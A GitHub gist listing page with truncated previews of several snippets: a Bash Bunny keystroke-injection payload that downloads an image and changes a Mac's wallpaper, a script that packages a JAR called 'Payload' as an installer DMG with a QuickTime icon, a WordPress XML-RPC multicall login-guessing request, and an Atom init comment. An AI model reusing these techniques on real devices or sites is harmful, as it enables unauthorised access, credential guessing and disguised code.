Skip to content

Instantly share code, notes, and snippets.

@arall
arall / payload.txt
Last active May 16, 2019 11:36
BashBunny - OSX Wallpaper Change (Mojave & Sierra)
LED SETUP
DRIVER_LABEL='BashBunny'
GET SWITCH_POSITION
MAC_HAPPY ATTACKMODE HID STORAGE
LED ATTACK
Q DELAY 1000
wget http://img1.ndsstatic.com/wallpapers/1e22e5d5fd4d733b6601f17da1928ba3_large.jpeg -O /tmp/bg.jpeg
osascript -e 'tell application "Finder" to set desktop picture to POSIX file "/tmp/bg.jpeg"'
@arall
arall / build.sh
Created October 29, 2015 13:43
Creates a OSX installation DMG from a JAR file, with an icon :D
NAME="Payload"
# Setup
mkdir build
cd build
echo "Main-Class: $NAME" > payload.txt
jar cmf payload.txt payload.jar
# Icon
curl --remote-name https://developer.apple.com/library/mac/documentation/UserExperience/Conceptual/OSXHIGuidelines/Art/QuickTimePlayerX_2x.png
<?xml version="1.0"?>
<methodCall><methodName>system.multicall</methodName><params>
<param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>wp.getCategories</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password</string></value>
</data></array></value></member>
</struct></value>
# Your init script
#
# Atom will evaluate this file each time a new window is opened. It is run
# after packages are loaded/activated and after the previous editor state
# has been restored.
#
# An example hack to log to the console when each text editor is saved.
#
# atom.workspace.observeTextEditors (editor) ->
# editor.onDidSave ->